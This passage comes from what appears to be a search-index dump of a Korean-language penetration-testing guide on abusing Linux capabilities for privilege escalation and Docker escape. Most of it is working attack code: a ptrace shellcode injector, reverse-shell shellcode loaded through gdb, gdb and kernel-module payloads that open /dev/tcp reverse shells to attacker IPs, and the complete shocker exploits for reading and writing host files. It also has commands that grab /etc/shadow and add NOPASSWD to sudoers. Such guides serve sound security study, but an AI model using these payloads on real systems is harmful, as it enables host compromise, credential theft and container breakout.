ctypes.c_ulonglong),\\n(\\"r9\\", ctypes.c_ulonglong),\\n(\\"r8\\", ctypes.c_ulonglong),\\n(\\"rax\\", ctypes.c_ulonglong),\\n(\\"rcx\\", ctypes.c_ulonglong),\\n(\\"rdx\\", ctypes.c_ulonglong),\\n(\\"rsi\\", ctypes.c_ulonglong),\\n(\\"rdi\\", ctypes.c_ulonglong),\\n(\\"orig_rax\\", ctypes.c_ulonglong),\\n(\\"rip\\", ctypes.c_ulonglong),\\n(\\"cs\\", ctypes.c_ulonglong),\\n(\\"eflags\\", ctypes.c_ulonglong),\\n(\\"rsp\\", ctypes.c_ulonglong),\\n(\\"ss\\", ctypes.c_ulonglong),\\n(\\"fs_base\\", ctypes.c_ulonglong),\\n(\\"gs_base\\", ctypes.c_ulonglong),\\n(\\"ds\\", ctypes.c_ulonglong),\\n(\\"es\\", ctypes.c_ulonglong),\\n(\\"fs\\", ctypes.c_ulonglong),\\n(\\"gs\\", ctypes.c_ulonglong),\\n] libc = ctypes.CDLL(\\"libc.so.6\\") pid=int(sys.argv[1]) # Define argument type and respone type.\\nlibc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]\\nlibc.ptrace.restype = ctypes.c_uint64 # Attach to the process\\nlibc.ptrace(PTRACE_ATTACH, pid, None, None)\\nregisters=user_regs_struct() # Retrieve the value stored in registers\\nlibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))\\nprint(\\"Instruction Pointer: \\" + hex(registers.rip))\\nprint(\\"Injecting Shellcode at: \\" + hex(registers.rip)) # Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c\\nshellcode = \\"\\\\x48\\\\x31\\\\xc0\\\\x48\\\\x31\\\\xd2\\\\x48\\\\x31\\\\xf6\\\\xff\\\\xc6\\\\x6a\\\\x29\\\\x58\\\\x6a\\\\x02\\\\x5f\\\\x0f\\\\x05\\\\x48\\\\x97\\\\x6a\\\\x02\\\\x66\\\\xc7\\\\x44\\\\x24\\\\x02\\\\x15\\\\xe0\\\\x54\\\\x5e\\\\x52\\\\x6a\\\\x31\\\\x58\\\\x6a\\\\x10\\\\x5a\\\\x0f\\\\x05\\\\x5e\\\\x6a\\\\x32\\\\x58\\\\x0f\\\\x05\\\\x6a\\\\x2b\\\\x58\\\\x0f\\\\x05\\\\x48\\\\x97\\\\x6a\\\\x03\\\\x5e\\\\xff\\\\xce\\\\xb0\\\\x21\\\\x0f\\\\x05\\\\x75\\\\xf8\\\\xf7\\\\xe6\\\\x52\\\\x48\\\\xbb\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x2f\\\\x73\\\\x68\\\\x53\\\\x48\\\\x8d\\\\x3c\\\\x24\\\\xb0\\\\x3b\\\\x0f\\\\x05\\" # Inject the shellcode into the running process byte by byte.\\nfor i in xrange(0,len(shellcode),4):\\n# Convert the byte to little endian.\\nshellcode_byte_int=int(shellcode[i:4+i].encode(\'hex\'),16)\\nshellcode_byte_little_endian=struct.pack(\\" LPORT= -f c 이 명령어는 리버스 TCP 쉘을 생성합니다. 생성된 쉘코드를 GDB를 통해 메모리에 주입할 수 있습니다. GDB를 사용하여 프로세스를 시작한 후, 다음과 같은 명령어로 쉘코드를 주입할 수 있습니다: bash (gdb) run\\n(gdb) set {char[]}
= {} 여기서 는 쉘코드의 크기,
는 주입할 메모리 주소, 는 생성된 쉘코드입니다. python # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py\\nbuf = b\\"\\"\\nbuf += b\\"\\\\x6a\\\\x29\\\\x58\\\\x99\\\\x6a\\\\x02\\\\x5f\\\\x6a\\\\x01\\\\x5e\\\\x0f\\\\x05\\"\\nbuf += b\\"\\\\x48\\\\x97\\\\x48\\\\xb9\\\\x02\\\\x00\\\\x23\\\\x29\\\\x0a\\\\x0a\\\\x0e\\\\x0b\\"\\nbuf += b\\"\\\\x51\\\\x48\\\\x89\\\\xe6\\\\x6a\\\\x10\\\\x5a\\\\x6a\\\\x2a\\\\x58\\\\x0f\\\\x05\\"\\nbuf += b\\"\\\\x6a\\\\x03\\\\x5e\\\\x48\\\\xff\\\\xce\\\\x6a\\\\x21\\\\x58\\\\x0f\\\\x05\\\\x75\\"\\nbuf += b\\"\\\\xf6\\\\x6a\\\\x3b\\\\x58\\\\x99\\\\x48\\\\xbb\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\"\\nbuf += b\\"\\\\x73\\\\x68\\\\x00\\\\x53\\\\x48\\\\x89\\\\xe7\\\\x52\\\\x57\\\\x48\\\\x89\\\\xe6\\"\\nbuf += b\\"\\\\x0f\\\\x05\\" # Divisible by 8\\npayload = b\\"\\\\x90\\" * (-len(buf) % 8) + buf # Change endianess and print gdb lines to load the shellcode in RIP directly\\nfor i in range(0, len(buf), 8):\\nchunk = payload[i:i+8][::-1]\\nchunks = \\"0x\\"\\nfor byte in chunk:\\nchunks += f\\"{byte:02x}\\" print(f\\"set {{long}}($rip+{i}) = {chunks}\\") 루트 프로세스를 gdb로 디버깅하고 이전에 생성된 gdb 라인을 복사하여 붙여넣습니다: bash # Let\'s write the commands to a file\\necho \'set {long}($rip+0) = 0x296a909090909090\\nset {long}($rip+8) = 0x5e016a5f026a9958\\nset {long}($rip+16) = 0x0002b9489748050f\\nset {long}($rip+24) = 0x48510b0e0a0a2923\\nset {long}($rip+32) = 0x582a6a5a106ae689\\nset {long}($rip+40) = 0xceff485e036a050f\\nset {long}($rip+48) = 0x6af675050f58216a\\nset {long}($rip+56) = 0x69622fbb4899583b\\nset {long}($rip+64) = 0x8948530068732f6e\\nset {long}($rip+72) = 0x050fe689485752e7\\nc\' > commands.gdb\\n# In this case there was a sleep run by root\\n## NOTE that the process you abuse will die after the shellcode\\n/usr/bin/gdb -p $(pgrep sleep)\\n[...]\\n(gdb) source commands.gdb\\nContinuing.\\nprocess 207009 is executing new program: /usr/bin/dash\\n[...] 환경 예시 (Docker 탈출) - 또 다른 gdb 남용 GDB 가 설치되어 있거나 (apk add gdb 또는 apt install gdb로 설치할 수 있는 경우) 호스트에서 프로세스를 디버깅 하고 system 함수를 호출하게 할 수 있습니다. (이 기술은 SYS_ADMIN 권한도 필요합니다) . bash gdb -p 1234\\n(gdb) call (void)system(\\"ls\\")\\n(gdb) call (void)system(\\"sleep 5\\")\\n(gdb) call (void)system(\\"bash -c \'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1\'\\") 명령이 실행된 결과를 볼 수는 없지만 해당 프로세스에 의해 실행됩니다 (따라서 rev shell을 얻습니다). warning \\"현재 컨텍스트에 \'system\' 기호가 없습니다.\\"라는 오류가 발생하면 gdb를 통해 프로그램에 쉘코드를 로드하는 이전 예제를 확인하십시오. 환경을 이용한 예제 (Docker 탈출) - 쉘코드 주입 다음 명령을 사용하여 도커 컨테이너 내에서 활성화된 권한을 확인할 수 있습니다: bash capsh --print\\nCurrent: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep\\nBounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap\\nSecurebits: 00/0x0/1\'b0\\nsecure-noroot: no (unlocked)\\nsecure-no-suid-fixup: no (unlocked)\\nsecure-keep-caps: no (unlocked)\\nuid=0(root)\\ngid=0(root)\\ngroups=0(root List processes running in the host ps -eaf Get the architecture uname -m Find a shellcode for the architecture ( https://www.exploit-db.com/exploits/41128 ) Find a program to inject the shellcode into a process memory ( https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c ) Modify the shellcode inside the program and compile it gcc inject.c -o inject Inject it and grab your shell : ./inject 299; nc 172.17.0.1 5600","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SYS_PTRACE","id":"1843","title":"CAP_SYS_PTRACE"},"1844":{"body":"** CAP_SYS_MODULE **는 프로세스가 커널 모듈을 로드하고 언로드할 수 있도록 (init_module(2), finit_module(2) 및 delete_module(2) 시스템 호출) 하여 커널의 핵심 작업에 직접 접근할 수 있게 합니다. 이 기능은 권한 상승 및 전체 시스템 손상을 가능하게 하여 커널을 수정할 수 있게 하므로 모든 Linux 보안 메커니즘, Linux Security Modules 및 컨테이너 격리를 우회하는 심각한 보안 위험을 초래합니다. 이는 호스트 머신의 커널에 커널 모듈을 삽입/제거할 수 있음을 의미합니다. Example with binary 다음 예제에서 이 바이너리 **python**은 이 기능을 가지고 있습니다. bash getcap -r / 2>/dev/null\\n/usr/bin/python2.7 = cap_sys_module+ep 기본적으로, modprobe 명령은 /lib/modules/$(uname -r) 디렉토리에서 의존성 목록과 맵 파일을 확인합니다. 이를 악용하기 위해 가짜 lib/modules 폴더를 생성해 봅시다: bash mkdir lib/modules -p\\ncp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) 그런 다음 아래 두 가지 예제를 찾아 커널 모듈을 컴파일하고 이 폴더에 복사하세요:** bash cp reverse-shell.ko lib/modules/$(uname -r)/ 마지막으로, 이 커널 모듈을 로드하기 위해 필요한 파이썬 코드를 실행하세요: python import kmod\\nkm = kmod.Kmod()\\nkm.set_mod_dir(\\"/path/to/fake/lib/modules/5.0.0-20-generic/\\")\\nkm.modprobe(\\"reverse-shell\\") Example 2 with binary In the following example the binary kmod has this capability. bash getcap -r / 2>/dev/null\\n/bin/kmod = cap_sys_module+ep 어떤 의미냐면, insmod 명령어를 사용하여 커널 모듈을 삽입할 수 있다는 것입니다. 아래 예제를 따라 이 권한을 악용하여 reverse shell 을 얻으세요. 환경 예제 (Docker 탈출) docker 컨테이너 내에서 활성화된 권한을 확인하려면 다음을 사용하세요: bash capsh --print\\nCurrent: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep\\nBounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap\\nSecurebits: 00/0x0/1\'b0\\nsecure-noroot: no (unlocked)\\nsecure-no-suid-fixup: no (unlocked)\\nsecure-keep-caps: no (unlocked)\\nuid=0(root)\\ngid=0(root)\\ngroups=0(root) 이전 출력에서 SYS_MODULE 권한이 활성화되어 있음을 확인할 수 있습니다. 리버스 셸 을 실행할 커널 모듈 과 이를 컴파일 할 Makefile 을 생성 하십시오: reverse-shell.c #include \\n#include \\nMODULE_LICENSE(\\"GPL\\");\\nMODULE_AUTHOR(\\"AttackDefense\\");\\nMODULE_DESCRIPTION(\\"LKM reverse shell module\\");\\nMODULE_VERSION(\\"1.0\\"); char* argv[] = {\\"/bin/bash\\",\\"-c\\",\\"bash -i >& /dev/tcp/10.10.14.8/4444 0>&1\\", NULL};\\nstatic char* envp[] = {\\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\\", NULL }; // call_usermodehelper function is used to create user mode processes from kernel space\\nstatic int __init reverse_shell_init(void) {\\nreturn call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);\\n} static void __exit reverse_shell_exit(void) {\\nprintk(KERN_INFO \\"Exiting\\\\n\\");\\n} module_init(reverse_shell_init);\\nmodule_exit(reverse_shell_exit); Makefile obj-m +=reverse-shell.o all:\\nmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean:\\nmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean warning Makefile의 각 make 단어 앞의 공백 문자는 공백이 아닌 탭 이어야 합니다! make를 실행하여 컴파일합니다. bash Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update\\nsudo apt full-upgrade 마지막으로, 셸 안에서 nc를 시작하고 다른 셸에서 모듈을 로드 하면 nc 프로세스에서 셸을 캡처할 수 있습니다: bash #Shell 1\\nnc -lvnp 4444 #Shell 2\\ninsmod reverse-shell.ko #Launch the reverse shell 이 기술의 코드는 https://www.pentesteracademy.com/ 의 \\"SYS_MODULE Capability 남용\\" 실험실에서 복사되었습니다. 이 기술의 또 다른 예는 https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host 에서 찾을 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SYS_MODULE","id":"1844","title":"CAP_SYS_MODULE"},"1845":{"body":"CAP_DAC_READ_SEARCH 는 프로세스가 파일 읽기 및 디렉터리 읽기/실행에 대한 권한을 우회할 수 있도록 합니다. 주된 용도는 파일 검색 또는 읽기 목적입니다. 그러나 이 기능은 프로세스의 마운트 네임스페이스 외부에 있는 파일을 포함하여 모든 파일에 접근할 수 있는 open_by_handle_at(2) 함수를 사용할 수 있게 합니다. open_by_handle_at(2)에서 사용되는 핸들은 name_to_handle_at(2)를 통해 얻은 비투명 식별자여야 하지만, 변조에 취약한 inode 번호와 같은 민감한 정보를 포함할 수 있습니다. 이 기능의 악용 가능성은 특히 Docker 컨테이너의 맥락에서 Sebastian Krahmer에 의해 shocker exploit로 입증되었습니다. 여기서 분석된 내용입니다. 이는 파일 읽기 권한 검사 및 디렉터리 읽기/실행 권한 검사를 우회할 수 있음을 의미합니다. 바이너리 예시 바이너리는 모든 파일을 읽을 수 있습니다. 따라서 tar와 같은 파일이 이 기능을 가지고 있다면, shadow 파일을 읽을 수 있습니다: bash cd /etc\\ntar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp\\ncd /tmp\\ntar -cxf shadow.tar.gz Example with binary2 이 경우 python 바이너리가 이 권한을 가지고 있다고 가정해 보겠습니다. 루트 파일을 나열하려면 다음과 같이 할 수 있습니다: python import os\\nfor r, d, f in os.walk(\'/root\'):\\nfor filename in f:\\nprint(filename) 파일을 읽기 위해 다음과 같이 할 수 있습니다: python print(open(\\"/etc/shadow\\", \\"r\\").read()) 환경 예제 (Docker 탈출) docker 컨테이너 내에서 활성화된 capabilities를 확인하려면 다음을 사용하세요: capsh --print\\nCurrent: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep\\nBounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap\\nSecurebits: 00/0x0/1\'b0\\nsecure-noroot: no (unlocked)\\nsecure-no-suid-fixup: no (unlocked)\\nsecure-keep-caps: no (unlocked)\\nuid=0(root)\\ngid=0(root)\\ngroups=0(root) 이전 출력에서 DAC_READ_SEARCH 권한이 활성화되어 있는 것을 볼 수 있습니다. 그 결과, 컨테이너는 프로세스를 디버깅 할 수 있습니다. 다음의 익스플로잇이 어떻게 작동하는지에 대한 내용은 https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 에서 확인할 수 있지만, 요약하자면 CAP_DAC_READ_SEARCH 는 권한 확인 없이 파일 시스템을 탐색할 수 있게 해줄 뿐만 아니라, _ open_by_handle_at(2) _에 대한 모든 검사를 명시적으로 제거하고 다른 프로세스에 의해 열린 민감한 파일에 대한 접근을 허용할 수 있습니다 . 호스트에서 파일을 읽기 위해 이 권한을 악용하는 원래 익스플로잇은 여기에서 찾을 수 있습니다: http://stealth.openwall.net/xSports/shocker.c , 다음은 읽고자 하는 파일을 첫 번째 인수로 지정하고 파일에 덤프할 수 있도록 수정된 버전입니다. c #include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include // gcc shocker.c -o shocker\\n// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle {\\nunsigned int handle_bytes;\\nint handle_type;\\nunsigned char f_handle[8];\\n}; void die(const char *msg)\\n{\\nperror(msg);\\nexit(errno);\\n} void dump_handle(const struct my_file_handle *h)\\n{\\nfprintf(stderr,\\"[*] #=%d, %d, char nh[] = {\\", h->handle_bytes,\\nh->handle_type);\\nfor (int i = 0; i < h->handle_bytes; ++i) {\\nfprintf(stderr,\\"0x%02x\\", h->f_handle[i]);\\nif ((i + 1) % 20 == 0)\\nfprintf(stderr,\\"\\\\n\\");\\nif (i < h->handle_bytes - 1)\\nfprintf(stderr,\\", \\");\\n}\\nfprintf(stderr,\\"};\\\\n\\");\\n} int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle\\n*oh)\\n{\\nint fd;\\nuint32_t ino = 0;\\nstruct my_file_handle outh = {\\n.handle_bytes = 8,\\n.handle_type = 1\\n};\\nDIR *dir = NULL;\\nstruct dirent *de = NULL;\\npath = strchr(path, \'/\');\\n// recursion stops if path has been resolved\\nif (!path) {\\nmemcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));\\noh->handle_type = 1;\\noh->handle_bytes = 8;\\nreturn 1;\\n} ++path;\\nfprintf(stderr, \\"[*] Resolving \'%s\'\\\\n\\", path);\\nif ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)\\ndie(\\"[-] open_by_handle_at\\");\\nif ((dir = fdopendir(fd)) == NULL)\\ndie(\\"[-] fdopendir\\");\\nfor (;;) {\\nde = readdir(dir);\\nif (!de)\\nbreak;\\nfprintf(stderr, \\"[*] Found %s\\\\n\\", de->d_name);\\nif (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {\\nfprintf(stderr, \\"[+] Match: %s ino=%d\\\\n\\", de->d_name, (int)de->d_ino);\\nino = de->d_ino;\\nbreak;\\n}\\n} fprintf(stderr, \\"[*] Brute forcing remaining 32bit. This can take a while...\\\\n\\");\\nif (de) {\\nfor (uint32_t i = 0; i < 0xffffffff; ++i) {\\nouth.handle_bytes = 8;\\nouth.handle_type = 1;\\nmemcpy(outh.f_handle, &ino, sizeof(ino));\\nmemcpy(outh.f_handle + 4, &i, sizeof(i));\\nif ((i % (1<<20)) == 0)\\nfprintf(stderr, \\"[*] (%s) Trying: 0x%08x\\\\n\\", de->d_name, i);\\nif (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {\\nclosedir(dir);\\nclose(fd);\\ndump_handle(&outh);\\nreturn find_handle(bfd, path, &outh, oh);\\n}\\n}\\n}\\nclosedir(dir);\\nclose(fd);\\nreturn 0;\\n} int main(int argc,char* argv[] )\\n{\\nchar buf[0x1000];\\nint fd1, fd2;\\nstruct my_file_handle h;\\nstruct my_file_handle root_h = {\\n.handle_bytes = 8,\\n.handle_type = 1,\\n.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}\\n}; fprintf(stderr, \\"[***] docker VMM-container breakout Po(C) 2014 [***]\\\\n\\"\\n\\"[***] The tea from the 90\'s kicks your sekurity again. [***]\\\\n\\"\\n\\"[***] If you have pending sec consulting, I\'ll happily [***]\\\\n\\"\\n\\"[***] forward to my friends who drink secury-tea too! [***]\\\\n\\\\n\\\\n\\"); read(0, buf, 1); // get a FS reference from something mounted in from outside\\nif ((fd1 = open(\\"/etc/hostname\\", O_RDONLY)) < 0)\\ndie(\\"[-] open\\"); if (find_handle(fd1, argv[1], &root_h, &h) <= 0)\\ndie(\\"[-] Cannot find valid handle!\\"); fprintf(stderr, \\"[!] Got a final handle!\\\\n\\");\\ndump_handle(&h); if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)\\ndie(\\"[-] open_by_handle\\"); memset(buf, 0, sizeof(buf));\\nif (read(fd2, buf, sizeof(buf) - 1) < 0)\\ndie(\\"[-] read\\"); printf(\\"Success!!\\\\n\\"); FILE *fptr;\\nfptr = fopen(argv[2], \\"w\\");\\nfprintf(fptr,\\"%s\\", buf);\\nfclose(fptr); close(fd2); close(fd1); return 0;\\n} warning 이 익스플로잇은 호스트에 마운트된 무언가에 대한 포인터를 찾아야 합니다. 원래의 익스플로잇은 파일 /.dockerinit을 사용했으며, 이 수정된 버전은 /etc/hostname을 사용합니다. 익스플로잇이 작동하지 않는다면 다른 파일을 설정해야 할 수도 있습니다. 호스트에 마운트된 파일을 찾으려면 mount 명령을 실행하세요: 이 기술의 코드는 https://www.pentesteracademy.com/ 의 \\"DAC_READ_SEARCH Capability 남용\\" 실험실에서 복사되었습니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_DAC_READ_SEARCH","id":"1845","title":"CAP_DAC_READ_SEARCH"},"1846":{"body":"이는 모든 파일에 대한 쓰기 권한 검사를 우회할 수 있음을 의미하므로, 어떤 파일이든 쓸 수 있습니다. 특권 상승을 위해 덮어쓸 수 있는 파일이 많이 있습니다, 여기에서 아이디어를 얻을 수 있습니다 . 바이너리 예제 이 예제에서 vim은 이 권한을 가지고 있으므로 passwd , sudoers 또는 _shadow_와 같은 파일을 수정할 수 있습니다: bash getcap -r / 2>/dev/null\\n/usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it Example with binary 2 In this example python binary will have this capability. You could use python to override any file: python file=open(\\"/etc/sudoers\\",\\"a\\")\\nfile.write(\\"yourusername ALL=(ALL) NOPASSWD:ALL\\")\\nfile.close() 환경 + CAP_DAC_READ_SEARCH (Docker 탈출) 예제 docker 컨테이너 내에서 활성화된 권한을 확인하려면 다음을 사용하세요: bash capsh --print\\nCurrent: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep\\nBounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap\\nSecurebits: 00/0x0/1\'b0\\nsecure-noroot: no (unlocked)\\nsecure-no-suid-fixup: no (unlocked)\\nsecure-keep-caps: no (unlocked)\\nuid=0(root)\\ngid=0(root)\\ngroups=0(root) 먼저, 호스트의 DAC_READ_SEARCH 기능을 악용하여 임의의 파일을 읽는 이전 섹션을 읽고 익스플로잇을 컴파일 하세요. 그런 다음, 호스트 파일 시스템 내에서 임의의 파일을 쓸 수 있는 다음 버전의 쇼커 익스플로잇을 컴파일 하세요: c #include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include \\n#include // gcc shocker_write.c -o shocker_write\\n// ./shocker_write /etc/passwd passwd struct my_file_handle {\\nunsigned int handle_bytes;\\nint handle_type;\\nunsigned char f_handle[8];\\n};\\nvoid die(const char * msg) {\\nperror(msg);\\nexit(errno);\\n}\\nvoid dump_handle(const struct my_file_handle * h) {\\nfprintf(stderr, \\"[*] #=%d, %d, char nh[] = {\\", h -> handle_bytes,\\nh -> handle_type);\\nfor (int i = 0; i < h -> handle_bytes; ++i) {\\nfprintf(stderr, \\"0x%02x\\", h -> f_handle[i]);\\nif ((i + 1) % 20 == 0)\\nfprintf(stderr, \\"\\\\n\\");\\nif (i < h -> handle_bytes - 1)\\nfprintf(stderr, \\", \\");\\n}\\nfprintf(stderr, \\"};\\\\n\\");\\n}\\nint find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)\\n{\\nint fd;\\nuint32_t ino = 0;\\nstruct my_file_handle outh = {\\n.handle_bytes = 8,\\n.handle_type = 1\\n};\\nDIR * dir = NULL;\\nstruct dirent * de = NULL;\\npath = strchr(path, \'/\');\\n// recursion stops if path has been resolved\\nif (!path) {\\nmemcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));\\noh -> handle_type = 1;\\noh -> handle_bytes = 8;\\nreturn 1;\\n}\\n++path;\\nfprintf(stderr, \\"[*] Resolving \'%s\'\\\\n\\", path);\\nif ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)\\ndie(\\"[-] open_by_handle_at\\");\\nif ((dir = fdopendir(fd)) == NULL)\\ndie(\\"[-] fdopendir\\");\\nfor (;;) {\\nde = readdir(dir);\\nif (!de)\\nbreak;\\nfprintf(stderr, \\"[*] Found %s\\\\n\\", de -> d_name);\\nif (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {\\nfprintf(stderr, \\"[+] Match: %s ino=%d\\\\n\\", de -> d_name, (int) de -> d_ino);\\nino = de -> d_ino;\\nbreak;\\n}\\n}\\nfprintf(stderr, \\"[*] Brute forcing remaining 32bit. This can take a while...\\\\n\\");\\nif (de) {\\nfor (uint32_t i = 0; i < 0xffffffff; ++i) {\\nouth.handle_bytes = 8;\\nouth.handle_type = 1;\\nmemcpy(outh.f_handle, & ino, sizeof(ino));\\nmemcpy(outh.f_handle + 4, & i, sizeof(i));\\nif ((i % (1 << 20)) == 0)\\nfprintf(stderr, \\"[*] (%s) Trying: 0x%08x\\\\n\\", de -> d_name, i);\\nif (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {\\nclosedir(dir);\\nclose(fd);\\ndump_handle( & outh);\\nreturn find_handle(bfd, path, & outh, oh);\\n}\\n}\\n}\\nclosedir(dir);\\nclose(fd);\\nreturn 0;\\n}\\nint main(int argc, char * argv[]) {\\nchar buf[0x1000];\\nint fd1, fd2;\\nstruct my_file_handle h;\\nstruct my_file_handle root_h = {\\n.handle_bytes = 8,\\n.handle_type = 1,\\n.f_handle = {\\n0x02,\\n0,\\n0,\\n0,\\n0,\\n0,\\n0,\\n0\\n}\\n};\\nfprintf(stderr, \\"[***] docker VMM-container breakout Po(C) 2014 [***]\\\\n\\"\\n\\"[***] The tea from the 90\'s kicks your sekurity again. [***]\\\\n\\"\\n\\"[***] If you have pending sec consulting, I\'ll happily [***]\\\\n\\"\\n\\"[***] forward to my friends who drink secury-tea too! [***]\\\\n\\\\n\\\\n\\");\\nread(0, buf, 1);\\n// get a FS reference from something mounted in from outside\\nif ((fd1 = open(\\"/etc/hostname\\", O_RDONLY)) < 0)\\ndie(\\"[-] open\\");\\nif (find_handle(fd1, argv[1], & root_h, & h) <= 0)\\ndie(\\"[-] Cannot find valid handle!\\");\\nfprintf(stderr, \\"[!] Got a final handle!\\\\n\\");\\ndump_handle( & h);\\nif ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)\\ndie(\\"[-] open_by_handle\\");\\nchar * line = NULL;\\nsize_t len = 0;\\nFILE * fptr;\\nssize_t read;\\nfptr = fopen(argv[2], \\"r\\");\\nwhile ((read = getline( & line, & len, fptr)) != -1) {\\nwrite(fd2, line, read);\\n}\\nprintf(\\"Success!!\\\\n\\");\\nclose(fd2);\\nclose(fd1);\\nreturn 0;\\n} Docker 컨테이너에서 탈출하기 위해서는 호스트에서 /etc/shadow 및 /etc/passwd 파일을 다운로드 하고, 여기에 새 사용자 를 추가 한 다음, **shocker_write**를 사용하여 이를 덮어쓸 수 있습니다. 그런 다음 ssh 를 통해 접속 합니다. 이 기술의 코드는 https://www.pentesteracademy.com 의 \\"Abusing DAC_OVERRIDE Capability\\" 실험실에서 복사되었습니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_DAC_OVERRIDE","id":"1846","title":"CAP_DAC_OVERRIDE"},"1847":{"body":"이는 모든 파일의 소유권을 변경할 수 있음을 의미합니다. 바이너리 예시 python 바이너리가 이 능력을 가지고 있다고 가정해 보겠습니다. 그러면 shadow 파일의 소유자 를 변경 하고, 루트 비밀번호 를 변경 하며, 권한을 상승시킬 수 있습니다: bash python -c \'import os;os.chown(\\"/etc/shadow\\",1000,1000)\' ruby 바이너리가 이 권한을 가지고 있는 경우: bash ruby -e \'require \\"fileutils\\"; FileUtils.chown(1000, 1000, \\"/etc/shadow\\")\'","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_CHOWN","id":"1847","title":"CAP_CHOWN"},"1848":{"body":"이것은 모든 파일의 권한을 변경할 수 있음을 의미합니다. 바이너리 예시 python이 이 기능을 가지고 있다면, shadow 파일의 권한을 수정하고, 루트 비밀번호를 변경 하며, 권한을 상승시킬 수 있습니다: bash python -c \'import os;os.chmod(\\"/etc/shadow\\",0666)","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_FOWNER","id":"1848","title":"CAP_FOWNER"},"1849":{"body":"이것은 생성된 프로세스의 유효 사용자 ID를 설정할 수 있음을 의미합니다. 바이너리 예시 python이 이 capability 를 가지고 있다면, 이를 이용해 루트 권한으로 권한 상승을 매우 쉽게 할 수 있습니다: python import os\\nos.setuid(0)\\nos.system(\\"/bin/bash\\") 또 다른 방법: python import os\\nimport prctl\\n#add the capability to the effective set\\nprctl.cap_effective.setuid = True\\nos.setuid(0)\\nos.system(\\"/bin/bash\\")","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SETUID","id":"1849","title":"CAP_SETUID"},"185":{"body":"많은 기업 코어는 Q-in-Q 서비스 제공자 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내에서 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. ethertype 0x88a8을 캡처하고 Scapy로 외부 태그를 팝해 